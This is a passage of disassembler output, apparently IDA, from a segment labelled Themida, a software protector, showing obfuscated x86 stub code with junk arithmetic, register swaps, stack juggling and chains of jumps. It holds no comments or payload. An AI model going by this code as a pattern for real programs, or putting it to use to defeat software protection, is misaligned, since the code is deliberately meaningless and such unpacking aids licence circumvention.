loc_59C4C7: ; CODE XREF: sub_59390B+421Cj
xchg edx, [esp-10h+arg_8]
mov esp, [esp-10h+arg_8]
push edx
mov edx, 513D69B2h
jmp loc_59E32A
; ---------------------------------------------------------------------------
loc_59C4D8: ; CODE XREF: sub_59390B+F429j
sub ebx, 5DC346CCh
push [esp-0Ch+arg_4]
jmp loc_591225
; ---------------------------------------------------------------------------
loc_59C4E6: ; CODE XREF: sub_59390B+3474j
mov eax, [esp+0Ch+var_C]
add esp, 4
add edx, 4
xor edx, [esp+8+var_8]
xor [esp+8+var_8], edx
xor edx, [esp+8+var_8]
mov esp, [esp+8+var_8]
loc_59C4FE: ; CODE XREF: sub_59390B+5406j
push 21C6h
mov [esp+4+var_4], ebx
jmp loc_5A0E09
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C50B: ; CODE XREF: Themida_:0059262Ej
inc edi
push 7D40h
mov [esp], esi
jmp loc_598BD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_59C519: ; CODE XREF: sub_599AE1+7j
shr edi, 8
jmp loc_591F68
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C521: ; CODE XREF: sub_59390B+FA03j
push esi
mov esi, 4F9E4B45h
sub esi, 2FA66740h
push edi
jmp loc_598016
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C533: ; CODE XREF: Themida_:0059F847j
add esi, eax
pop eax
add esi, 86E4EDFh
add esi, ebp
sub esi, 86E4EDFh
push edi
mov edi, 0B371DEAh
shl edi, 1
inc edi
jmp loc_597CED
; ---------------------------------------------------------------------------
loc_59C552: ; CODE XREF: Themida_:005A5AFFj
mov ecx, esp
add ecx, 4
jmp loc_598B04
; ---------------------------------------------------------------------------
loc_59C55F: ; CODE XREF: Themida_:00596160j
push 4
jmp loc_5A5231
; ---------------------------------------------------------------------------
loc_59C569: ; CODE XREF: Themida_:005A065Aj
push edi
push 4DFA249Eh
pop edi
dec edi
sub edi, 0D621BC12h
mov eax, edi
pop edi
inc eax
inc eax
jmp loc_5A2C1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_59C581: ; CODE XREF: sub_59886E-17D1j
shl ebx, 5
jmp loc_5971AE
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_59C589: ; CODE XREF: sub_5A2FE9+Fj
pop ebp
push edx
mov edx, 4
add ebp, edx
jmp loc_5A5163
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59C597: ; CODE XREF: sub_59A75E-6E63j
mov word ptr [esp+8+var_8], si
xor word ptr [esp+8+var_8], 7CF7h
pop ax
xor ax, 7CF7h
mov bx, ax
pop eax
jmp loc_59A35F
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_59C5B0: ; CODE XREF: Themida_:00597B75j
push edx
push esp
pop edx
add edx, 4
add edx, 4
jmp loc_5A034A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C5C4: ; CODE XREF: sub_59390B+D8F5j
shl edx, 2
shl edx, 8
jmp loc_5A338E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C5CF: ; CODE XREF: Themida_:0059130Ej
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_596FBC
; ---------------------------------------------------------------------------
loc_59C5E0: ; CODE XREF: Themida_:00593769j
add ecx, 4
push ecx
mov ecx, esp
add ecx, 4
jmp loc_595663
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BDD3
loc_59C5F4: ; CODE XREF: sub_59BDD3-481Dj
pop eax
add ecx, edi
pop edi
add ecx, 3B842190h
sub ecx, 3F15BEEh
add ecx, esi
jmp loc_597BD4
; END OF FUNCTION CHUNK FOR sub_59BDD3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C60B: ; CODE XREF: sub_59390B-295Ej
xor esi, 11557D3Ch
not esi
xor esi, 8394A430h
sub ebp, esi
pop esi
neg ebp
jmp loc_59F829
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59C623 proc near ; DATA XREF: Themida_:00590A44o
; FUNCTION CHUNK AT 0059D81B SIZE 00000007 BYTES
mov ecx, [esp+0]
push edi
jmp loc_59D81B
sub_59C623 endp
; ---------------------------------------------------------------------------
loc_59C62C: ; CODE XREF: Themida_:0059848Ej
pop esi
add edx, eax
jmp loc_59BC62
; ---------------------------------------------------------------------------
loc_59C634: ; CODE XREF: Themida_:00594D90j
mov [esp], eax
mov ah, cl
push 1C14h
mov [esp], edx
mov dh, ah
mov bl, dh
pop edx
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_592091
; ---------------------------------------------------------------------------
loc_59C660: ; CODE XREF: Themida_:005A02A5j
add ebp, esi
sub ebp, 79705EDBh
mov esi, [esp]
add esp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push 95Ah
mov [esp], eax
push 57D6h
jmp loc_5912FD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C68A: ; CODE XREF: sub_59390B-E19j
pop [esp-14h+arg_C]
mov esp, [esp-18h+arg_10]
inc word ptr [esp-18h+arg_10]
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C69A: ; CODE XREF: Themida_:0059AEDFj
mov dl, ch
not dl
mov ch, dl
pop edx
shl ch, 2
xor ch, 0C9h
jmp loc_5997B1
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
push ebp
push esp
mov ebp, [esp]
add esp, 4
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push 2BA7h
jmp loc_5A2359
; ---------------------------------------------------------------------------
loc_59C6D9: ; CODE XREF: Themida_:0059443Aj
push ecx
push 68B840E3h
pop ecx
add ecx, 2E522F97h
not ecx
xchg ebx, ecx
jmp loc_59B203
; ---------------------------------------------------------------------------
loc_59C6EF: ; CODE XREF: Themida_:005A057Bj
xor cx, di
xor di, cx
jmp loc_594080
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C6FA: ; CODE XREF: sub_59390B+3765j
sub eax, 45A51CD0h
jmp loc_5A0AE2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59C704: ; CODE XREF: sub_59A75E-7F63j
push eax
mov eax, 73F147Ch
jmp loc_5A24AA
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_59C70F: ; CODE XREF: sub_59D1FC+2D02j
sub ebx, 0CC1279FBh
add esi, ebx
pop ebx
jmp loc_5A449A
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C71D: ; CODE XREF: sub_59390B+C1A3j
add ecx, 0FFFFFFFFh
xchg ebp, ecx
not ebp
xchg ebp, ecx
push edx
push eax
mov eax, 58EE7D88h
mov edx, eax
jmp loc_59DE23
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C734: ; CODE XREF: Themida_:0059B8BBj
add dl, 51h
mov bl, dl
jmp loc_595F8C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_59C73E: ; CODE XREF: sub_5A0733-46DDj
mov eax, 306012FEh
and edi, eax
jmp loc_5A0B4F
; END OF FUNCTION CHUNK FOR sub_5A0733
; ---------------------------------------------------------------------------
loc_59C74A: ; CODE XREF: Themida_:00594B7Ej
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_59CE98
; ---------------------------------------------------------------------------
loc_59C759: ; CODE XREF: Themida_:0059F178j
shl eax, 7
and eax, 6C5F39B6h
jmp loc_59BC7E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_59C766: ; CODE XREF: sub_591FC5+43E2j
mov bl, cl
pop ecx
pop eax
sub al, 0C6h
add al, 64h
jmp loc_596FF7
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C773: ; CODE XREF: sub_59390B+22E7j
pop ebx
add esi, 2
xor esi, [esp-0Ch+arg_4]
xor [esp-0Ch+arg_4], esi
xor esi, [esp-0Ch+arg_4]
pop esp
ror byte ptr [esp-10h+arg_8], cl
pushf
jmp loc_59668D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_59C78D: ; CODE XREF: sub_594A8D+C3F3j
and ebx, 560B579Bh
xor ebx, 1EB3274Ch
jmp loc_5A3758
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_59C79E: ; CODE XREF: sub_5A17BF-1793j
push esi
jmp loc_5923AB
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], edx
push ebp
mov ebp, 3CF84CBCh
not ebp
and ebp, 52087504h
and ebp, 4D6046B3h
xor ebp, 41D54733h
jmp loc_5A28B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C7C9: ; CODE XREF: sub_59390B+A704j
xchg esi, [esp-0Ch+arg_4]
jmp loc_5A2E2B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C7D1: ; CODE XREF: Themida_:00596D88j
mov [esp], esi
push 15h
jmp loc_5A142A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_59C7DE: ; CODE XREF: sub_594D13+10929j
mov ecx, 487144A7h
or eax, ecx
pop ecx
sub eax, 61B11073h
add eax, 1A5ADB2Eh
sub eax, 1
not eax
jmp loc_59145E
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_59C7FA: ; CODE XREF: sub_59886E+C665j
mov [esp+0], ebx
push eax
mov eax, 743B10ECh
mov ebx, 2F303254h
xor ebx, eax
jmp loc_59D16D
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59605F
loc_59C80F: ; CODE XREF: sub_59605F+D22Ej
xor edi, 13EF6BFAh
add eax, edi
pop edi
jmp loc_592D33
; END OF FUNCTION CHUNK FOR sub_59605F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59897B
loc_59C81D: ; CODE XREF: sub_59897B+14j
mov eax, [esp+0]
jmp sub_595ED9
; END OF FUNCTION CHUNK FOR sub_59897B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C825: ; CODE XREF: sub_59390B-1C5Dj
sub edx, 7EF756B1h
add edx, 9A5B52h
push ecx
mov ecx, 0
add ecx, 15254483h
jmp loc_5A56AC
; ---------------------------------------------------------------------------
loc_59C842: ; CODE XREF: sub_59390B-A79j
shr esi, 2
neg esi
jmp loc_5913F6
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_59C84C: ; CODE XREF: sub_5A17BF-F40Fj
shr esi, 6
add esi, 32BC3A4Bh
xor esi, 0B840770h
xor esi, 72E8785Ch
sub esi, 3995AFA5h
sub eax, esi
pop esi
push [esp+4+var_4]
jmp loc_5A58BE
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
loc_59C872: ; CODE XREF: Themida_:005A1F18j
pop ecx
push dword ptr [esp]
pop eax
jmp loc_596EEB
; ---------------------------------------------------------------------------
loc_59C87C: ; CODE XREF: Themida_:00596341j
add edi, edx
sub edi, 3A1C7A5Bh
mov edx, [esp]
jmp loc_596D18
; ---------------------------------------------------------------------------
loc_59C88C: ; CODE XREF: Themida_:0059723Ej
mov edi, esp
add edi, 4
jmp loc_59A600
; ---------------------------------------------------------------------------
loc_59C899: ; CODE XREF: Themida_:00597A45j
push ebp
mov ebp, 34BB40AEh
jmp loc_598153
; =============== S U B R O U T I N E =======================================
sub_59C8A4 proc near ; CODE XREF: sub_59390B-26FEj
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005912AA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005919E9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592785 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596225 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059741D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059864F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059CFEF SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059F03D SIZE 0000001D BYTES
push ebx
jmp loc_59F03D
sub_59C8A4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59EA40
loc_59C8AA: ; CODE XREF: sub_59EA40-61D7j
mov [esp+8+var_8], edx
jmp loc_597D9E
; END OF FUNCTION CHUNK FOR sub_59EA40
; ---------------------------------------------------------------------------
loc_59C8B2: ; CODE XREF: Themida_:005943ADj
xor ebp, 394E26E7h
and ebp, 498310B2h
dec ebp
and ebp, 333850D3h
add ebp, 1C095ABAh
add edi, ebp
pop ebp
add edi, eax
sub edi, 1D095B0Dh
jmp loc_59FDB4
; ---------------------------------------------------------------------------
loc_59C8DB: ; CODE XREF: Themida_:00597D48j
push ecx
mov ecx, 4
mov esi, ecx
mov ecx, [esp]
add esp, 4
add edi, 5B537490h
add edi, esi
sub edi, 5B537490h
push dword ptr [esp]
pop esi
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push eax
mov eax, 2
add edi, 623CBDh
jmp loc_5A52FB
; ---------------------------------------------------------------------------
loc_59C91C: ; CODE XREF: Themida_:0059EA7Ej
sub ecx, 496843BFh
push ecx
pop esi
pop ecx
mov eax, [esp]
add esp, 4
pop edi
add eax, esi
push dword ptr [esp]
pop esi
add esp, 4
push 228Eh
mov [esp], esi
mov esi, 10324A27h
or esi, 6DE92402h
sub esi, 1C1F6DBEh
jmp loc_5A311C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_59C956: ; CODE XREF: sub_59918B+29C5j
mov esp, [esp-10h+arg_C]
jmp loc_59BFB1
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
loc_59C95E: ; CODE XREF: Themida_:005974ADj
xor edi, eax
mov eax, [esp]
add esp, 4
sub esi, 36A96634h
sub esi, edi
push eax
mov eax, 453256CCh
jmp loc_593A92
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C979: ; CODE XREF: sub_59390B+D76Bj
xchg ebx, [esp-14h+arg_C]
pop esp
sub byte ptr [esp-18h+arg_10], al
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C986: ; CODE XREF: Themida_:005A1A93j
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_59C98B: ; CODE XREF: sub_59CAFB-7B19j
sub eax, 0E038A860h
push ecx
jmp loc_5A42B9
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_59C996: ; CODE XREF: sub_5A4CDD-DA4Ej
not [esp-4+arg_0]
push [esp-4+arg_0]
jmp loc_5992DB
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_59C9A1: ; CODE XREF: sub_591FC5+166Ej
sub ah, 0A9h
sub cl, 0CCh
sub cl, ah
add cl, 0CCh
pop eax
push eax
jmp loc_596F59
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_59C9B3: ; CODE XREF: Themida_:0059A2F4j
pop eax
push 116h
mov [esp], edi
sub dword ptr [esp], 3DB439C4h
pop ebx
jmp loc_5927C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5917E1
loc_59C9C9: ; CODE XREF: sub_5917E1+12679j
xor edi, [esp+0]
mov esp, [esp+0]
mov [esp+0], ax
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_5917E1
; ---------------------------------------------------------------------------
loc_59C9D8: ; CODE XREF: Themida_:005998BEj
add esi, 1
xor edi, esi
xor esi, edi
xor edi, esi
jmp loc_59C0A3
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59C9F9: ; CODE XREF: Themida_:0059DF73j
pop edi
add ebx, 17D21C0Eh
add ebx, 790F7C3Dh
add ebx, eax
sub ebx, 790F7C3Dh
sub ebx, 17D21C0Eh
pop eax
push ecx
push edx
jmp loc_598644
; ---------------------------------------------------------------------------
loc_59CA1C: ; CODE XREF: Themida_:005921F9j
add edx, 53FA5B79h
xor edx, 0F25BD404h
sub esp, 4
mov [esp], edi
mov edi, 7D5915B3h
add esi, edi
pop edi
add esi, 6C2234A9h
add esi, edx
sub esi, 6C2234A9h
jmp loc_5955A3
; ---------------------------------------------------------------------------
loc_59CA4C: ; CODE XREF: Themida_:00597A25j
pop edx
push ebx
mov ebx, 18060B0Fh
add ecx, ebx
mov ebx, [esp]
push ecx
jmp loc_592FBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59CA5E: ; CODE XREF: sub_59A75E-3C47j
pop edi
pop ebp
xchg ecx, [esp+0]
mov esp, [esp+0]
mov [esp+0], ebp
mov ebp, esp
add ebp, 4
push ebx
push edx
mov edx, 1F997701h
mov ebx, edx
pop edx
jmp loc_5911D8
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CA80: ; CODE XREF: sub_59390B+AE6Bj
mov [esp-14h+arg_C], eax
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_59CA88: ; CODE XREF: sub_590AC5+F3EDj
add ebp, 4
jmp loc_59B68F
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CA90: ; CODE XREF: sub_59390B+E222j
or eax, 75D5176Fh
inc eax
not eax
neg eax
not eax
sub eax, 8808C08Ah
add esi, eax
jmp loc_5A2C06
; ---------------------------------------------------------------------------
loc_59CAA8: ; CODE XREF: sub_59390B+D3A7j
mov [esp-14h+arg_C], esp
add [esp-14h+arg_C], 4
pop edi
push eax
jmp loc_59D6A4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59731A
loc_59CAB9: ; CODE XREF: sub_59731A+9j
push eax
push 0D196C28h
jmp loc_59BCE1
; END OF FUNCTION CHUNK FOR sub_59731A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5999A4
loc_59CAC4: ; CODE XREF: sub_5999A4+9j
xchg eax, ecx
not ecx
jmp loc_59C366
; END OF FUNCTION CHUNK FOR sub_5999A4
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebx
push edi
mov edi, esp
add edi, 4
jmp loc_5925FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_59CAE4: ; CODE XREF: sub_5A23FB-B268j
or eax, 79C87446h
add eax, 1408B5h
add edi, eax
pop eax
add edi, 4
xchg edi, [esp-8+arg_4]
pop esp
; END OF FUNCTION CHUNK FOR sub_5A23FB
; =============== S U B R O U T I N E =======================================
sub_59CAFB proc near ; CODE XREF: sub_5A23FB-A87Ej
; sub_59390B+ECC5j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005919BC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592921 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059322D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005934B2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00593669 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00594FDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595689 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595E4F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00596703 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596A10 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00597DF6 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00598F28 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598FF7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059AA79 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B355 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059C98B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D265 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E817 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F366 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A0342 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A06CA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A08EE SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A0F4B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1132 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A13B9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A15E6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1D62 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2451 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A2748 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005A31E0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A42B9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4503 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A501F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A56D1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A5B04 SIZE 00000026 BYTES
sub esp, 4
mov [esp+4+var_4], edx
sub esp, 4
mov [esp+8+var_8], ebx
pop edx
push edx
sub [esp+8+var_8], 0B25344Ah
push [esp+8+var_8]
pop eax
jmp loc_5A4503
sub_59CAFB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CB1C: ; CODE XREF: sub_59390B+7FFBj
xor edi, ecx
pop ecx
add ecx, 29111F27h
sub ecx, edi
jmp loc_594879
; ---------------------------------------------------------------------------
loc_59CB2C: ; CODE XREF: sub_59390B+D383j
pop ebp
push edx
mov edx, 4
add ebp, edx
pop edx
push ebx
jmp loc_59DBE4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59CB3C: ; CODE XREF: Themida_:00591690j
mov [esp], ebp
push 4B5E6795h
pop ebp
jmp loc_598600
; ---------------------------------------------------------------------------
loc_59CB4A: ; CODE XREF: Themida_:00590D63j
not ebp
jmp loc_5923EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59AB43
loc_59CB51: ; CODE XREF: sub_59AB43-1B51j
mov ebp, [esp+0]
add esp, 4
or eax, 59707A8Ah
sub eax, 5A3E7B80h
jmp loc_59492F
; END OF FUNCTION CHUNK FOR sub_59AB43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CB66: ; CODE XREF: sub_59390B+9292j
pop ebx
add esp, 4
xchg ecx, [esp-0Ch+arg_4]
mov esp, [esp-0Ch+arg_4]
xor eax, edx
xor edx, eax
xor eax, edx
jmp loc_59B29D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59CB7E: ; CODE XREF: Themida_:005A59EFj
mov ebx, [esp]
add esp, 4
jmp loc_5A1FD9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59CB89: ; CODE XREF: sub_59A431-5EECj
pop ecx
jmp loc_5A22ED
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CB8F: ; CODE XREF: sub_59390B+A5B8j
add esi, 853386BBh
add ebx, esi
pop esi
add ecx, ebx
push [esp-10h+arg_8]
jmp loc_59CB66
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_59CBA2: ; CODE XREF: sub_595BAD+CF7Dj
or edx, 5E452D40h
xor edx, 59C53818h
jmp loc_5956B6
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
loc_59CBB3: ; CODE XREF: Themida_:005A398Dj
pop cx
dec bh
jmp loc_59325E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_59CBBC: ; CODE XREF: sub_5A17BF-EBC8j
add ebx, 1
push ebp
mov ebp, 0E44911A2h
add ebx, 565947E2h
sub ebx, ebp
sub ebx, 565947E2h
jmp loc_5A0024
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CBD8: ; CODE XREF: sub_59390B-23ECj
mov eax, [esp-8+arg_0]
jmp loc_596895
; ---------------------------------------------------------------------------
loc_59CBE0: ; CODE XREF: sub_59390B+5F3Dj
add edi, eax
pop eax
jmp loc_5A3155
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59CBE8: ; CODE XREF: Themida_:00590FDBj
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
jmp loc_598B8C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_59CC03: ; CODE XREF: sub_5936EC+A1E5j
mov eax, 139763F8h
jmp loc_59B0CA
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
loc_59CC0D: ; CODE XREF: Themida_:005A583Bj
add esp, 4
shr edi, 7
jmp loc_59BE0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59386B
loc_59CC18: ; CODE XREF: sub_59386B+9j
or ebp, 4E2852FCh
add ebp, 56327A03h
mov edi, ebp
pop ebp
add edi, edx
pop edx
jmp loc_59B9AA
; END OF FUNCTION CHUNK FOR sub_59386B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592586
loc_59CC2F: ; CODE XREF: sub_592586+11F4Fj
add esp, 4
add ebx, eax
jmp loc_5950B6
; END OF FUNCTION CHUNK FOR sub_592586
; ---------------------------------------------------------------------------
loc_59CC39: ; CODE XREF: Themida_:005A2896j
add eax, 2243071Eh
sub eax, 7F460085h
add eax, ebp
add eax, 7F460085h
push edx
jmp loc_598D21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CC50: ; CODE XREF: sub_59390B+47F5j
push [esp+10h+var_10]
pop esi
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+14h+var_14]
jmp loc_5A2226
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59CC68: ; CODE XREF: Themida_:00595917j
add ebp, 72D82032h
sub ebp, 8DFE730Ch
mov esi, ebp
pop ebp
jmp loc_59E1FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A58F3
loc_59CC7C: ; CODE XREF: sub_5A58F3-7EFj
pop esp
mov [esp+0], esi
push eax
push edi
mov edi, 4F795879h
or edi, 62EE709Ah
shr edi, 3
not edi
or edi, 5F1C11BDh
add edi, 57EE1959h
mov eax, edi
pop edi
shr eax, 2
push ebp
push eax
mov eax, 55103C91h
mov ebp, 582731C2h
xor ebp, eax
pop eax
jmp sub_5999E6
; END OF FUNCTION CHUNK FOR sub_5A58F3
; ---------------------------------------------------------------------------
loc_59CCB8: ; CODE XREF: Themida_:005A1EA8j
mov eax, [esp]
add esp, 4
jmp loc_59B03F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59CCC3: ; CODE XREF: sub_59390B+2A91j
mov eax, 1F9214Eh
add esi, eax
pop eax
jmp loc_59E000
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59CCD0: ; CODE XREF: Themida_:0059F3B6j
pop edx
